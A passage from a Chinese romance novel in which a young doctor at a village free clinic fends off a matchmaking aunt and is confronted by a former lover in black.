主任也在一旁看起了手里的文书,趁着人少,姜绵心虚看了圈四周,朝人挪近。 她故意咳嗽了声,主任抬起头看她,问:“有什么事吗姜医生?” “主任……” 话到嘴边却不知道怎么开口,姜绵神情紧张,不知怎么有些心虚,在心里编排了一会儿,才弱弱地问:“这次义诊除了我们医院,还有其它医院来人吗?” “没有啊。”不懂为什么突然问起这个,主任拨着眼镜上下打量她,“姜医生怎么想起问这个?” 没有啊,那为什么…… 回过神后,姜绵摆了摆手,情绪有些低:“没事,我就好奇问问。”可能是她想错了。 夏末的阳光仍旧刺眼毒辣。 一上午的时间,即使是待在搭起的遮阳棚下,姜绵依旧不可避免的出了一身汗。 “大爷,你这血压比正常值高太多了,要按照我刚刚才说的,戒烟戒酒,保持良好的生活作息,别小看这个问题,搞不好会很严重。” 取下老人胳膊上的束缚带,姜绵耐心地一次次叮嘱,老人摸了摸上 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见她还没开窍,方琳欸了声,挑明:“阳光小学,就是传闻中那个大佬投资建的学校,来了这么久我还没见着人呢,说不定明天就能看到了,肯定很帅啊啊啊!” 她越说越兴奋,连带着姜绵都开始好奇起来。 到底是什么样的人,做了这种好事还不留名,惹得人遐想。 怪神秘的。 “帅!那小伙儿确实帅!”诊疗桌前的板凳上不知何时坐了个大姨,大姨笑眯眯加入这个话题,“人长得板板正正的,干活也是一把手!” “不止学校,你们看那边,连山里的路都是他投钱修的。”说着,大姨指向山对面,那里挖掘机轰鸣,他们什么时候来的,那道声音就响了多久。 姜绵正好奇那儿在干嘛呢,原来是在修路,想来那人一定是个大好人慈善家,现在能做这些事的人不多了。 她笑着敛下眼睫,扯开血压仪的束缚带,手熟的往那位大姨的胳膊上套。 而那大姨还在喋喋不休:“我要是有女儿啊,肯定让他做我们家的女婿!” 大姨说话幽默,一会儿就把姜绵和方琳都逗笑了,笑着笑着,那姨突然一把抓住了离她近的姜绵的胳膊,认真说:“姑娘,我家有个儿子,跟你差不多大,在城里当老师,要不我介绍你俩认识认识?” “阿姨,你这……”方琳瞠目结舌,这大姨切换话题还挺丝滑。 这一抓,姜绵吓了一跳,听清她说的话后更是惊得不行。 果然,师哥告诫说的话,这么快就应验到自己身上了吗? 情急之下,她一边拔出自己的手,一边笑着打干哈哈:“阿姨,我有男朋友了。” 这下方琳也惊了,猛的低头看她。 偏偏大姨觉着无所谓:“没关系,男朋友是男朋友,你们认识认识,先当朋友啊!” 几拉几扯,这联系方式不加上都收不了场,待大姨走后,姜绵看了眼刚通过的好友申请,扶额心力憔悴。 她起身揉了揉肩膀,托付方琳:“我去洗把脸冷静一下,这里先麻烦方医生你了。” 方琳懂她的累点,没犹豫,坐下来接替了她的位置,让她去。 义诊支摊的位置紧挨村委会,走不了几步路就能到。 姜绵没进办公楼,就在外面公共水池撇开水龙头,拍了拍脸,额头上已经沁出滴滴汗珠,跟自来水一起顺着脸颊滑落。 揩了把下颌,她深呼一口气,看向镜中面色红润,又重新充满活力的自己,满意点了下头,转身离开。 走到矮楼转角处,模模糊糊看见一个一身黑的人背靠着墙,只好奇看了一眼,姜绵便收回目光,没当回事的越过了人。 才走半步,那人却突然出了声。 身后传来懒懒嗤笑,依旧是记忆中那道低缓的声线,如今却还要更加冷硬:“有新欢了?” “那还认我这个旧人吗?”